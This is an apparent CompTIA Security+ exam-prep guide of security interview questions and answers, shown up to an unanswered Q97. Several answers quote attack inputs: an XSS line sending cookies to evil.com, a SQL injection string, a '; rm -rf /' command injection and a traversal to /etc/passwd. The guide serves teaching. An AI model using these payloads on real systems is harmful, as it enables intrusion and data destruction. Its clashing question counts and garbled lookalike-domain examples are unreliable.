

COMPTIA CERTIFIED | EXAM CODE: SY0-701

CompTIA

Security+

SY0-701

300 Interview Questions & Answers with Examples

Complete exam preparation covering all SY0-701 exam domains:

Threats & Attacks | Cryptography | Network Security | IAM

Incident Response | Cloud Security | GRC | Malware & Forensics

300

Questions

19

Sections

SY0-701

Exam Code

750/900

Pass Score

Table of Contents

CompTIA Security+ SY0-701 – Complete Interview Preparation Guide

#	Section	Key Topics	Q's
1	Threats, Attacks & Vulnerabilities	Zero-day, SQL injection, XSS, MitM, DDoS, buffer overflow	25
2	Social Engineering & Phishing	Phishing, spear phishing, vishing, smishing, pretexting	20
3	Cryptography & PKI	AES, RSA, ECC, PKI, TLS, digital signatures, hashing	27
4	Network Security	Firewall, DMZ, IDS/IPS, VPN, NAC, DNS, ARP, SIEM	25
5	Identity & Access Management (IAM)	MFA, SSO, SAML, OAuth, RBAC, PAM, Kerberos, LDAP	20
6	Security Architecture & Design	Zero Trust, defense in depth, threat modeling, STRIDE	15
7	Cloud Security	Shared responsibility, CASB, CSPM, cloud IAM, containers	15
8	Endpoint & Application Security	EDR, patching, CVSS, MDM, FDE, TPM, SAST, DAST, SCA	15
9	Incident Response & Forensics	Incident phases, IoC, forensics, chain of custody, SIEM	15
10	Governance, Risk & Compliance (GRC)	GDPR, HIPAA, PCI DSS, NIST CSF, ISO 27001, risk register	15
11	Security Operations & Monitoring	SOC, MITRE ATT&CK, UEBA, CVE, NVD, threat hunting	15
12	Wireless & Mobile Security	WPA3, SAE, evil twin, Bluetooth, NFC, rogue AP, deauth	11
13	Physical Security	Mantraps, CCTV, environmental controls, Faraday cage	10
14	Emerging Technologies & Security	IoT, AI/ML, OT/ICS, blockchain, quantum, supply chain	10
15	Security+ SY0-701 Exam Focus	SY0-701 domains, PBQs, control types, exam strategy	12
16	Malware & Threat Actor Types	Ransomware, APT, rootkit, fileless, botnet, LOLBins	15
17	Data Security & Privacy	DLP, data classification, PII, PHI, tokenization, GDPR	12
18	Hardening & Configuration Management	Hardening, CIS benchmarks, patch management, AppLocker	11
19	Scenario-Based & Mixed	Scenarios, incident response, breach handling, BCP/DR	12

200	16	003	~70%
Total Questions	Sections	Exam Code	Passing Score

1 Threats, Attacks & Vulnerabilities

25 Qs

Q1 QUESTION

What is a threat in cybersecurity?

ANSWER

A threat is any potential danger that can exploit a vulnerability to cause harm. Example: A hacker attempting to steal customer data is a threat. Threats can be natural (floods damaging servers), unintentional (employee accidentally deleting files), or intentional (ransomware attack).

Q2 QUESTION

What is the difference between a vulnerability and a risk?

ANSWER

A vulnerability is a weakness in a system (e.g., unpatched software). A risk is the likelihood and impact of a threat exploiting that vulnerability. Example: An unpatched Apache server (vulnerability) exposed to the internet (threat) creates a high risk of web shell deployment.

Q3 QUESTION

What is a zero-day vulnerability?

ANSWER

A zero-day is a flaw unknown to the vendor with no available patch. Example: In 2021, the Log4Shell (CVE-2021-44228) zero-day in Apache Log4j allowed remote code execution before a patch existed. Attackers exploit these immediately after discovery.

Q4 QUESTION

What is a buffer overflow attack?

ANSWER

A buffer overflow occurs when a program writes more data to a buffer than it can hold, overwriting adjacent memory. Example: An attacker sends a 500-byte string to a field expecting 100 bytes, overwriting the return address to redirect execution to malicious shellcode.

Q5 QUESTION

What is a SQL injection attack?

ANSWER

SQL injection inserts malicious SQL code into input fields to manipulate a database. Example: Entering ' OR '1'='1 in a login form may return all users. Mitigation: Use parameterized queries/prepared statements instead of concatenating user input into SQL strings.

Q6 QUESTION

What is Cross-Site Scripting (XSS)?

ANSWER

XSS injects malicious scripts into web pages viewed by other users. Example: An attacker posts a comment containing `document.location='http://evil.com/steal?c='+document.cookie`. When victims view the page, their session cookies are sent to the attacker.

Q7 QUESTION

What is a Man-in-the-Middle (MitM) attack?

ANSWER

A MitM attack intercepts communication between two parties. Example: On a public Wi-Fi, an attacker uses ARP poisoning to redirect traffic between a user and their bank, reading credentials in transit. Mitigation: Use TLS/HTTPS and certificate pinning.

Q8 QUESTION

What is a replay attack?

ANSWER

A replay attack captures and retransmits valid authentication tokens. Example: An attacker captures a Kerberos ticket and replays it to authenticate as the victim. Mitigation: Use timestamps, nonces, and session tokens that expire quickly.

Q9 QUESTION

What is a pass-the-hash attack?

ANSWER

Pass-the-hash uses a captured password hash to authenticate without knowing the plaintext password. Example: An attacker uses Mimikatz to dump NTLM hashes from memory and authenticates to other systems using the hash directly. Mitigation: Enable Credential Guard, use MFA.

Q10 QUESTION

What is a privilege escalation attack?

ANSWER

Privilege escalation gains higher permissions than originally granted. Vertical escalation: user to admin. Example: Exploiting a vulnerable SUID binary in Linux to gain root. Horizontal: accessing another user's data. Mitigation: Least privilege, patch management, regular audits.

Q11 QUESTION

What is a DDoS attack?

ANSWER

A Distributed Denial of Service flood a target with traffic from many sources. Example: A volumetric UDP flood sends 500 Gbps of traffic to overwhelm a web server's bandwidth. Types: Volumetric (bandwidth), Protocol (SYN flood), Application layer (HTTP GET flood).

Q12 QUESTION

What is a SYN flood attack?

ANSWER

A SYN flood exploits TCP's three-way handshake. The attacker sends many SYN packets without completing the handshake, exhausting server connection tables. Example: Attacker sends 10,000 SYN packets per second with spoofed IPs. Mitigation: SYN cookies, rate limiting.

Q13 QUESTION

What is an on-path (formerly MitM) attack?

ANSWER

An on-path attack positions the attacker between two communicating parties to intercept or modify traffic. Example: ARP cache poisoning makes the gateway send all traffic to the attacker's MAC address. The attacker reads, modifies, and forwards packets undetected.

Q14 QUESTION

What is a cross-site request forgery (CSRF) attack?

ANSWER

CSRF tricks an authenticated user into making unintended requests. Example: A malicious email contains an image tag pointing to `https://bank.com/transfer?to=attacker&amount=1000`. When the logged-in user opens the email, their browser sends the authenticated request automatically. Mitigation: CSRF tokens, SameSite cookie attribute, re-authentication for sensitive actions.

Q15 QUESTION

What is an injection attack beyond SQL?

ANSWER

Injection attacks insert malicious code into interpreters. Types: SQL (database), LDAP (directory), XML/XPath, OS command injection, SMTP header injection. Example: OS injection – entering `; rm -rf /` in a ping field executes the destructive command on the server.

Q16 QUESTION

What is a race condition vulnerability?

ANSWER

A race condition occurs when a system's behavior depends on the timing of events. Example: Time-of-Check-to-Time-of-Use (TOCTOU) – a program checks file permissions, then between the check and use an attacker replaces the file with a malicious one.

Q17 QUESTION

What is a directory traversal attack?

ANSWER

Directory traversal accesses files outside the web root using `../` sequences. Example: A URL like `https://site.com/view?file=../../etc/passwd` retrieves the Unix password file. Mitigation: Validate and sanitize input, use chroot jails, restrict file permissions.

Q18 QUESTION

What is a watering hole attack?

ANSWER

A watering hole attack compromises a website frequently visited by the target group. Example: Attackers compromise an industry forum and embed malware. When employees of a target company visit, they're infected. Named after predators waiting at water sources.

Q19 QUESTION

What is credential stuffing?

ANSWER

Credential stuffing uses breached username/password pairs from one site to log in to other sites, exploiting password reuse. Example: 500 million credentials from a LinkedIn breach are tested against Gmail, Netflix, and banking sites using automated tools. Mitigation: MFA, unique passwords.

Q20 QUESTION

What is a birthday attack in cryptography?

ANSWER

A birthday attack exploits the mathematics of hash collisions. Based on the birthday paradox: in a group of 23 people, 50% chance two share a birthday. Example: MD5 is vulnerable — an attacker can find two different files producing the same MD5 hash, enabling forged certificates.

Q21 QUESTION

What is an evil twin attack?

ANSWER

An evil twin creates a rogue Wi-Fi access point mimicking a legitimate one. Example: In a coffee shop, an attacker sets up 'Starbucks_WiFi' to match the real SSID. Victims connect automatically, allowing credential capture via a captive portal or MitM attacks.

Q22 QUESTION

What is a Kerberoasting attack?

ANSWER

Kerberoasting requests service tickets for service accounts and cracks them offline. Example: An attacker with domain credentials uses Impacket to request TGS tickets for SQL Server service accounts, then cracks them offline with Hashcat to recover plaintext passwords.

Q23 QUESTION

What is firmware attack surface?

ANSWER

Firmware attacks target low-level software controlling hardware — below the OS. Example: The LoJax UEFI rootkit persists in UEFI firmware, surviving OS reinstalls and disk replacement. Mitigation: Secure Boot, firmware signing verification, hardware-based attestation.

Q24 QUESTION

What is supply chain attack?

ANSWER

A supply chain attack compromises software or hardware before it reaches the end user. Example: The SolarWinds attack (2020) inserted malicious code into the Orion software build process. When customers installed the legitimate-looking update, attackers gained access to thousands of organizations.

Q25 QUESTION

What is an API attack?

ANSWER

API attacks exploit vulnerabilities in Application Programming Interfaces. Example: Broken object-level authorization (BOLA) — changing an ID in a request (/api/orders/123 to /api/orders/456) accesses another user's order. OWASP API Security Top 10 covers key risks including excessive data exposure and lack of rate limiting.

2 Social Engineering & Phishing

20 Qs

Q26 QUESTION

What is social engineering?

ANSWER

Social engineering manipulates people into divulging information or performing actions. Example: An attacker calls an employee posing as IT support: 'We've detected a virus on your PC. I need your password to fix it remotely.' No technical exploit needed — humans are the vulnerability.

Q27 QUESTION

What is phishing?

ANSWER

Phishing sends fraudulent emails impersonating trusted entities to steal credentials. Example: An email appears to come from paypal@paypal.com (note the l) saying 'Verify your account' with a link to a fake PayPal login page. The domain uses lookalike characters to bypass casual inspection.

Q28 QUESTION

What is spear phishing vs. phishing?

ANSWER

Phishing is broad/untargeted (mass email blast). Spear phishing is targeted using personal details. Example: An attacker researches a CFO's LinkedIn, then emails 'Hi Sarah, here's the Q3 report you asked for last Tuesday [malicious attachment]' — referencing real context to appear legitimate.

Q29 QUESTION

What is whaling?

ANSWER

Whaling targets senior executives (C-suite). Example: An attacker emails a CFO impersonating the CEO: 'I'm in a board meeting. Urgently wire \$500,000 to this account for a confidential acquisition. Don't discuss with anyone.' The urgency and authority pressure bypasses normal verification.

Q30 QUESTION

What is vishing?

ANSWER

Vishing (voice phishing) uses phone calls. Example: Caller ID spoofed to show 'IRS': 'You owe \$5,000 in back taxes. Pay now with gift cards or we'll arrest you.' Or tech support: 'We've detected malware on your computer. Please install this remote access tool.'

Q31 QUESTION

What is smishing?

ANSWER

Smishing uses SMS text messages for phishing. Example: 'USPS: Your package was undeliverable. Update your address: [malicious link]'. Or 'Your bank account has been locked. Verify immediately: [link]'. Links lead to credential-harvesting sites.

Q32 QUESTION

What is pretexting?

ANSWER

Pretexting creates a fabricated scenario (pretext) to manipulate someone. Example: An attacker poses as an IT auditor: 'I'm conducting our annual compliance audit. I need you to create a temporary admin account for my audit tool.' The fake authority and legitimate-sounding context make victims comply.

Q33 QUESTION

What is baiting?

ANSWER

Baiting offers something enticing to trigger an action. Example: USB drives labeled 'Employee Salaries 2024' left in a parking lot. Curious employees plug them in, executing malware. Or fake software downloads promising free premium content that install backdoors.

Q34 QUESTION

What is a quid pro quo attack?

ANSWER

Quid pro quo offers a service in exchange for information. Example: An attacker calls employees offering free IT help: 'I'll speed up your computer — just give me your login credentials.' They call many numbers until finding someone receptive, then provide fake 'help' while stealing credentials.

Q35 QUESTION

What is tailgating/piggybacking?

ANSWER

Tailgating physically follows authorized personnel into restricted areas. Example: An attacker dressed as a delivery person carrying boxes approaches a badge-controlled door. As an employee opens it, the attacker follows through, counting on the employee's reluctance to confront them.

Q36 QUESTION

What is a hoax in social engineering?

ANSWER

Hoaxes spread false information to cause undesired user behavior. Example: VIRUS ALERT — Delete Windows System32 immediately to remove the jdbgmgr.exe virus! Panicked users delete legitimate system files. Modern example: fake ransomware infection notices that trick users into contacting fake support numbers.

Q37 QUESTION

What is typosquatting?

ANSWER

Typosquatting registers domains with common typos of popular sites. Example: registering goooogle.com, amaz0n.com, or paypa1.com. Victims who mistype are taken to malicious clones. Also used for supply chain attacks: registering typos of popular npm packages (event-stream vs eventstream).

Q38 QUESTION

What is a disinformation attack?

ANSWER

Disinformation deliberately spreads false information to manipulate decisions or behavior. Example: Fake news about a company's data breach causes stock price manipulation. In cybersecurity context: attackers post false threat intelligence to mislead defenders into wrong mitigations.

Q39 QUESTION

What are indicators of phishing emails?

ANSWER

Key indicators: (1) Sender domain mismatch (paypal.com vs paypal.com), (2) Urgency/threats ('Act now or account deleted'), (3) Generic greeting ('Dear Customer'), (4) Suspicious attachments (.exe, .doc with macros), (5) Hover shows different link destination, (6) Poor grammar/spelling, (7) Unexpected requests for credentials.

Q40 QUESTION

How do you defend against social engineering?

ANSWER

Defenses: (1) Security awareness training – regular phishing simulations, (2) Verification procedures – call back known numbers, don't trust caller ID, (3) Email filtering with DMARC/DKIM/SPF, (4) MFA so stolen passwords alone don't work, (5) Clear policies on data sharing, (6) Report and reward culture – employees report suspicious contacts without fear.

Q41 QUESTION

What is pretexting vs impersonation?

ANSWER

Pretexting creates an elaborate fabricated scenario. Impersonation directly claims to be someone else without a backstory. Example of impersonation: Attacker walks into reception saying 'I am from IT – here to fix the server.' No elaborate story needed – the uniform and confidence are enough. Both exploit authority and urgency. Defense: verify identity via a separate channel before granting access.

Q42 QUESTION

What is a shoulder surfing attack?

ANSWER

Shoulder surfing observes victims entering sensitive information. Example: An attacker in a coffee shop positions themselves to see a user entering their banking PIN or reading sensitive emails. Modern variant: using a smartphone camera to record from a distance. Prevention: privacy screens on laptops, shielding PIN entry, and awareness of surroundings in public.

Q43 QUESTION

What is dumpster diving?

ANSWER

Dumpster diving recovers discarded documents containing sensitive information. Example: An attacker finds shredded documents, reassembles them, and recovers an org chart and employee directory used for spear phishing. Prevention: cross-cut shredding (not strip-cut), secure disposal bins, clean desk policy, digital document destruction procedures.

Q44 QUESTION

What is invoice fraud/BEC?

ANSWER

Business Email Compromise (BEC) tricks organizations into transferring funds or data. Example: Attacker compromises or spoofs CEO email and sends CFO an urgent wire transfer request for a confidential acquisition. FBI IC3 reports BEC causes billions in annual losses. Prevention: out-of-band verification for financial transactions, dual authorization for large transfers, DMARC email authentication.

Q45 QUESTION

What makes phishing simulations effective?

ANSWER

Effective phishing simulation program: (1) Baseline test first — measure starting click rate; (2) Vary lure types — credential harvesting, malware, BEC; (3) Target high-risk groups — finance, executives, HR; (4) Immediate feedback when someone clicks — teachable moment; (5) Track trends over time — target <5% click rate; (6) Don't punish failure — create reporting culture; (7) Monthly simulations — security awareness decays quickly without reinforcement.

3 Cryptography & PKI

27 Qs

Q46 QUESTION

What is symmetric encryption?

ANSWER

Symmetric encryption uses the same key for encryption and decryption. Example: AES-256 encrypts a file — the sender and recipient must securely share the same 256-bit key. Fast and efficient for bulk data. Key challenge: secure key distribution between parties.

Q47 QUESTION

What is asymmetric encryption?

ANSWER

Asymmetric encryption uses a mathematically linked key pair: public key (share freely) and private key (keep secret). Example: Bob encrypts a message with Alice's public key — only Alice's private key can decrypt it. Used in TLS, SSH, email signing (S/MIME, PGP).

Q48 QUESTION

What is RSA?

ANSWER

RSA (Rivest-Shamir-Adleman) is an asymmetric algorithm based on the mathematical difficulty of factoring large prime products. Example: RSA-2048 uses a 2048-bit key. Used for key exchange, digital signatures, and encryption. Slower than symmetric — typically used to encrypt a symmetric session key.

Q49 QUESTION

What is Elliptic Curve Cryptography (ECC)?

ANSWER

ECC provides equivalent security to RSA with smaller keys. Example: ECC-256 bit provides ~RSA-3072 bit security. Used in TLS 1.3, mobile devices, IoT. ECDSA (Elliptic Curve Digital Signature Algorithm) signs data; ECDH (Elliptic Curve Diffie-Hellman) performs key exchange.

Q50 QUESTION

What is AES?

ANSWER

AES (Advanced Encryption Standard) is the most widely used symmetric cipher. Block cipher with 128-bit block size, supporting 128, 192, or 256-bit keys. Example: AES-256-GCM mode encrypts data and provides authentication simultaneously. Used in TLS, disk encryption (BitLocker), Wi-Fi (WPA3).

Q51 QUESTION

What is a hash function?

ANSWER

A hash function converts input of any size to a fixed-size digest. Properties: one-way (can't reverse), deterministic, avalanche effect (small input change = completely different hash). Example: SHA-256 of 'password' = 5e884898d... regardless of input length. Used for integrity verification and password storage.

Q52 QUESTION

What is SHA-256 vs MD5?

ANSWER

SHA-256 produces a 256-bit hash and is cryptographically secure. MD5 produces a 128-bit hash but is broken — collision attacks exist. Example: MD5 is vulnerable to birthday attacks where two different files produce the same hash. SHA-256 is used for certificate fingerprints, digital signatures, and integrity checks.

Q53 QUESTION

What is salting in password hashing?

ANSWER

A salt is a random value added to a password before hashing, preventing rainbow table attacks. Example: Password 'pass123' + random salt '7x\$k2' $\rightarrow$ hash(pass1237x\$k2). Even identical passwords get different hashes. Stored as: \$salt\$hash. bcrypt, Argon2 handle salting automatically.

Q54 QUESTION

What is a digital signature?

ANSWER

A digital signature provides authentication, integrity, and non-repudiation. Process: sender hashes the message, encrypts the hash with their private key (signature), recipient decrypts with sender's public key and compares hashes. Example: Code signing — Windows verifies software using the publisher's digital signature before installation.

Q55 QUESTION

What is a Certificate Authority (CA)?

ANSWER

A CA is a trusted entity that issues digital certificates. Hierarchy: Root CA $\rightarrow$ Intermediate CA $\rightarrow$ End-entity certificates. Example: DigiCert (CA) issues an SSL certificate to amazon.com. Browsers trust DigiCert's root, so they trust Amazon's certificate. Self-signed certificates are not trusted by default.

Q56 QUESTION

What is a digital certificate?

ANSWER

A certificate binds a public key to an identity, signed by a CA. Contains: subject (amazon.com), public key, issuer (DigiCert), validity period, serial number, digital signature. Format: X.509. Example: When you visit https://amazon.com, the server presents its certificate; your browser verifies it against trusted CAs.

Q57 QUESTION

What is PKI (Public Key Infrastructure)?

ANSWER

PKI is the system of policies, procedures, hardware, software, and people managing digital certificates and keys. Components: CA, Registration Authority (RA), Certificate Revocation List (CRL), OCSP, certificate repository. Example: An enterprise PKI issues certificates to all employees for VPN access, email signing, and smart card authentication.

Q58 QUESTION

What is certificate revocation?

ANSWER

Certificate revocation invalidates a certificate before its expiry. Methods: (1) CRL (Certificate Revocation List) — a published list of revoked serial numbers; (2) OCSP (Online Certificate Status Protocol) — real-time revocation check. Example: When a private key is compromised, the certificate owner requests revocation from the CA.

Q59 QUESTION

What is TLS and how does it work?

ANSWER

TLS (Transport Layer Security) secures communications over networks. TLS 1.3 handshake: (1) Client sends supported cipher suites, (2) Server sends certificate and chosen cipher, (3) Key exchange using ECDHE, (4) Both derive session keys, (5) Encrypted communication begins. Provides confidentiality, integrity, and authentication.

Q60 QUESTION

What is perfect forward secrecy (PFS)?

ANSWER

PFS ensures that even if the server's private key is compromised, past sessions cannot be decrypted. Achieved using ephemeral key exchange (ECDHE, DHE). Example: Each TLS session generates a unique temporary key — compromising the server key doesn't expose past traffic. TLS 1.3 mandates PFS.

Q61 QUESTION

What is a key exchange algorithm?

ANSWER

Key exchange allows two parties to establish a shared secret over an insecure channel. Example: Diffie-Hellman (DH) — Alice and Bob publicly exchange partial values, combine them with private values to compute the same shared secret. An eavesdropper cannot compute the secret from the public exchange alone.

Q62 QUESTION

What is steganography?

ANSWER

Steganography hides data within other data without obvious detection. Example: Hiding a secret message in the least significant bits of an image's pixels — the image looks identical but contains hidden text. Used by APT groups for covert C2 communication. Different from encryption: it hides the existence of data.

Q63 QUESTION

What is homomorphic encryption?

ANSWER

Homomorphic encryption allows computation on encrypted data without decrypting. Example: A cloud provider computes the average salary from encrypted HR records and returns an encrypted result — the provider never sees plaintext salaries. Useful for privacy-preserving analytics and cloud computing.

Q64 QUESTION

What is quantum cryptography concern?

ANSWER

Quantum computers could break RSA and ECC by solving factoring and discrete logarithm problems efficiently (Shor's algorithm). Example: A 4,000-qubit quantum computer could break RSA-2048 in hours. NIST's post-quantum cryptography standards (CRYSTALS-Kyber, CRYSTALS-Dilithium) are designed to resist quantum attacks.

Q65 QUESTION

What is key stretching?

ANSWER

Key stretching applies a hash function many times to make brute-force attacks slower. Example: PBKDF2 applies HMAC-SHA256 100,000 times to a password. bcrypt and Argon2 are memory-hard — requiring large amounts of RAM also slows GPU-based cracking. Used for password storage and key derivation from passwords.

Q66 QUESTION

What is the difference between signing and encryption?

ANSWER

Signing: sender encrypts a hash with their PRIVATE key — anyone with public key can verify identity and integrity (authentication, non-repudiation). Encryption: sender encrypts with recipient's PUBLIC key — only recipient's private key can decrypt (confidentiality). Example: S/MIME email signs with sender's private key AND encrypts with recipient's public key — providing both authentication and confidentiality.

Q67 QUESTION

What is a HSM (Hardware Security Module)?

ANSWER

HSM is a physical device that generates, stores, and manages cryptographic keys in tamper-resistant hardware. Example: AWS CloudHSM provides dedicated HSMs for PCI DSS-compliant key storage. Keys never leave the HSM in plaintext. Operations (sign, decrypt) happen inside the HSM. Used for CA root keys, payment processing, code signing. FIPS 140-2 Level 3 certified HSMs are the gold standard.

Q68 QUESTION

What is key escrow?

ANSWER

Key escrow stores a copy of cryptographic keys with a trusted third party for recovery. Example: Enterprise BitLocker keys stored in Active Directory — if an employee is unavailable, IT can retrieve the recovery key to unlock the drive. Government key escrow is controversial — intended for lawful intercept but creates a target for attackers. Keys should be stored as securely as the data they protect.

Q69 QUESTION

What are block cipher modes of operation?

ANSWER

Block cipher modes determine how block ciphers encrypt data larger than one block: (1) ECB (Electronic Codebook) — same block = same ciphertext, NEVER use; (2) CBC (Cipher Block Chaining) — each block XORed with previous; (3) CTR (Counter) — converts block cipher to stream cipher; (4) GCM (Galois/Counter Mode) — provides encryption + authentication in one pass. AES-GCM is the standard for TLS 1.3 and modern encryption.

Q70 QUESTION

What is a MAC (Message Authentication Code)?

ANSWER

A MAC provides data integrity and authenticity using a shared secret key. Example: HMAC-SHA256 — sender computes `HMAC(message, secret_key)` and appends it. Recipient recomputes HMAC and compares — any modification invalidates the MAC. Unlike digital signatures, MACs don't provide non-repudiation (both parties share the key). Used in: TLS record integrity, API authentication (AWS Signature Version 4).

Q71 QUESTION

What is authenticated encryption?

ANSWER

Authenticated encryption provides confidentiality AND integrity in one operation. Example: AES-GCM (Galois/Counter Mode) encrypts data AND produces an authentication tag. Decryption fails if the ciphertext is tampered with. Preferred over: encrypt-then-MAC (complex), MAC-then-encrypt (vulnerable to padding oracles). TLS 1.3 uses only AEAD (Authenticated Encryption with Associated Data) cipher suites.

Q72 QUESTION

What is a self-signed certificate vs CA-signed?

ANSWER

Self-signed: signed by its own private key — no third-party trust. CA-signed: signed by a trusted Certificate Authority — browsers and systems trust it automatically. Example: Development environment uses self-signed certificate (browser shows warning). Production website uses DigiCert-signed certificate (no warning). Self-signed OK for internal/dev use; CA-signed required for public-facing services. Enterprise CAs issue trusted certificates internally.

4 Network Security

25 Qs

Q73 QUESTION

What is a firewall and what types exist?

ANSWER

A firewall controls network traffic based on rules. Types: (1) Packet filtering – inspects headers only (IP, port, protocol); (2) Stateful inspection – tracks TCP connection state; (3) Application layer (WAF, proxy) – inspects payload content; (4) Next-Generation Firewall (NGFW) – adds IPS, deep packet inspection, and application awareness.

Q74 QUESTION

What is a DMZ (Demilitarized Zone)?

ANSWER

A DMZ is a network segment between the internal network and the internet, hosting public-facing services. Example: Web and mail servers in the DMZ. External firewall allows internet to DMZ. Internal firewall restricts DMZ to internal LAN. If a web server is compromised, attackers can't directly access internal databases.

Q75 QUESTION

What is network segmentation?

ANSWER

Network segmentation divides a network into isolated segments to limit breach impact. Example: A hospital segments medical devices, guest Wi-Fi, and EHR systems into separate VLANs. A ransomware infection on the guest network cannot spread to medical devices. Implemented via VLANs, firewalls, and SDN.

Q76 QUESTION

What is a VPN?

ANSWER

A VPN (Virtual Private Network) encrypts traffic between endpoints over an untrusted network. Types: (1) Site-to-site VPN – connects two offices over the internet; (2) Remote access VPN – employees connect to corporate network from home. Example: OpenVPN or IPSec tunnels encrypt traffic, protecting data on public Wi-Fi.

Q77 QUESTION

What is IPSec?

ANSWER

IPSec is a protocol suite securing IP communications through authentication and encryption. Two modes: (1) Transport mode – encrypts payload only, used for host-to-host; (2) Tunnel mode – encrypts entire packet, used for VPNs. Protocols: AH (Authentication Header) for integrity; ESP (Encapsulating Security Payload) for encryption.

Q78 QUESTION

What is an IDS vs IPS?

ANSWER

IDS (Intrusion Detection System) detects and alerts on suspicious activity – passive, doesn't block. IPS (Intrusion Prevention System) detects and actively blocks threats – inline device. Example: IDS sees a port scan and alerts the SOC. IPS automatically blocks the scanning IP. IPS has risk of false positives blocking legitimate traffic.

Q79 QUESTION

What is a SIEM?

ANSWER

SIEM (Security Information and Event Management) centralizes log collection, correlation, and alerting. Example: Splunk or IBM QRadar collects logs from firewalls, endpoints, and AD. A correlation rule fires when: failed login x5 + successful login + access to sensitive share within 10 minutes – indicating credential brute force.

Q80 QUESTION

What is port scanning and common port numbers?

ANSWER

Port scanning identifies open ports and services. Example: `nmap -sV 192.168.1.1` discovers open ports. Key ports: 22 (SSH), 23 (Telnet), 25 (SMTP), 53 (DNS), 80 (HTTP), 443 (HTTPS), 389 (LDAP), 636 (LDAPS), 3389 (RDP), 3306 (MySQL), 1433 (MS SQL). Knowing port numbers is critical for firewall rules and security.

Q81 QUESTION

What is DNS security and common DNS attacks?

ANSWER

DNS security protects name resolution. Attacks: (1) DNS spoofing/cache poisoning – inserting false records to redirect traffic; (2) DNS hijacking – modifying resolver settings; (3) DNS tunneling – encoding C2 traffic in DNS queries. Mitigations: DNSSEC (signed records), DNS over HTTPS (DoH), DNS filtering.

Q82 QUESTION

What is ARP poisoning?

ANSWER

ARP (Address Resolution Protocol) poisoning sends fake ARP replies to associate the attacker's MAC with a legitimate IP. Example: Attacker broadcasts 'IP 192.168.1.1 = AA:BB:CC:DD:EE:FF (my MAC)'. The gateway's traffic is redirected to the attacker. Mitigation: Dynamic ARP Inspection (DAI) on switches, static ARP entries.

Q83 QUESTION

What is NAC (Network Access Control)?

ANSWER

NAC enforces security policies for devices connecting to the network. Example: Before allowing a laptop to connect, NAC checks: (1) Is antivirus installed and updated? (2) Are patches current? (3) Is the device domain-joined? If any check fails, the device is quarantined to a remediation VLAN. Cisco ISE, Aruba ClearPass are NAC solutions.

Q84 QUESTION

What is a proxy server vs. reverse proxy?

ANSWER

Forward proxy: sits between clients and internet, providing anonymity and caching. Example: Employees browse through a proxy that filters malicious sites. Reverse proxy: sits between internet and servers. Example: Nginx reverse proxy terminates TLS, load balances, and hides backend server IPs from clients.

Q85 QUESTION

What is a honeypot?

ANSWER

A honeypot is a decoy system designed to attract and detect attackers. Example: A fake database server labeled 'HR_Salaries_DB' on the internal network has no legitimate users. Any access triggers an alert — likely an attacker who has breached the perimeter and is doing reconnaissance. Honeynets are networks of honeypots.

Q86 QUESTION

What is VLAN hopping?

ANSWER

VLAN hopping allows an attacker on one VLAN to access traffic on another. Methods: (1) Switch spoofing — attacker's device negotiates trunk mode and receives all VLAN traffic; (2) Double tagging — attacker adds two VLAN tags, outer stripped by first switch, inner sends frame to target VLAN. Mitigation: Disable DTP, set native VLAN to unused VLAN.

Q87 QUESTION

What is a WAF (Web Application Firewall)?

ANSWER

A WAF filters HTTP/HTTPS traffic between web applications and the internet, blocking common attacks. Example: AWS WAF rules block requests with SQL injection patterns (single quotes, OR 1=1) or XSS payloads (script tags). WAFs operate at Layer 7, unlike network firewalls. OWASP ModSecurity Core Rule Set is a popular open-source WAF ruleset.

Q88 QUESTION

What is SD-WAN and its security implications?

ANSWER

SD-WAN (Software-Defined Wide Area Network) uses software to manage and optimize WAN connections. Example: A company routes sensitive traffic over MPLS and general browsing over broadband, automatically. Security concern: SD-WAN expands the attack surface — each branch becomes an internet breakout point. Integrate with SASE (Secure Access Service Edge) for cloud-delivered security.

Q89 QUESTION

What is SASE (Secure Access Service Edge)?

ANSWER

SASE combines networking (SD-WAN) and security (CASB, ZTNA, SWG, FWaaS) into a unified cloud service. Example: An employee working remotely connects via SASE — traffic is inspected by a cloud-based firewall, DLP, and CASB before reaching cloud apps. Eliminates the need to backhaul traffic to HQ for inspection.

Q90 QUESTION

What is network reconnaissance?

ANSWER

Reconnaissance is the information-gathering phase of an attack. Passive: OSINT, WHOIS, DNS lookups, LinkedIn — no interaction with target. Active: port scanning (nmap), banner grabbing, vulnerability scanning (Nessus). Example: Attacker uses Shodan to find internet-exposed devices, then scans for open ports before exploitation.

Q91 QUESTION

What is a jump server/bastion host?

ANSWER

A jump server (bastion host) is a hardened intermediary server for accessing systems in a protected zone. Example: Admins SSH to the jump server first, then SSH to internal servers from there. The internal servers only allow connections from the jump server IP, not directly from the internet. All sessions are logged.

Q92 QUESTION

What is 802.1X authentication?

ANSWER

802.1X provides port-based Network Access Control using EAP authentication. Example: When a device plugs into a switch port, the switch acts as authenticator, challenging the device (supplicant) to authenticate to a RADIUS server. Until authenticated, only EAP traffic is allowed. Used for both wired and wireless (WPA2/3-Enterprise) access control.

Q93 QUESTION

What is network address translation (NAT) and security implications?

ANSWER

NAT translates private IPs to public IPs, hiding internal network structure. Example: 1000 internal devices share one public IP — external attackers can't directly address internal hosts. Security benefit: obscures internal topology. Limitation: not a firewall — doesn't filter traffic. NAT traversal techniques (STUN, TURN) allow attackers to bypass NAT for direct P2P connections.

Q94 QUESTION

What is DNSSEC?

ANSWER

DNSSEC adds cryptographic signatures to DNS records to prevent spoofing. Example: DNS response for google.com includes a digital signature signed by Google's DNSSEC key. Your resolver verifies the signature — a spoofed/poisoned response without a valid signature is rejected. Protects against DNS cache poisoning attacks. Chain of trust: Root zone □ TLD (.com) □ google.com, each signing the next level.

Q95 QUESTION

What is BGP hijacking?

ANSWER

BGP hijacking is maliciously announcing IP prefixes that belong to another organization, rerouting internet traffic. Example: In 2018, an ISP in Nigeria hijacked Google's IP prefixes, routing Google traffic through its network for 74 minutes. Mitigations: RPKI (Resource Public Key Infrastructure) cryptographically signs route announcements; BGPsec adds authentication to BGP.

Q96 QUESTION

What is HTTPS and what does it protect?

ANSWER

HTTPS is HTTP over TLS. What it protects: (1) Confidentiality — content encrypted, ISP/MitM can't read; (2) Integrity — content can't be modified in transit; (3) Authentication — certificate proves server identity. What it does NOT protect: IP addresses, destination hostnames (visible in SNI/DNS), traffic timing and volume. Use DNS over HTTPS (DoH) and Encrypted SNI (ESNI) for additional privacy.

Q97

QUESTION

What is a network tap vs SPAN port?

ANSWER

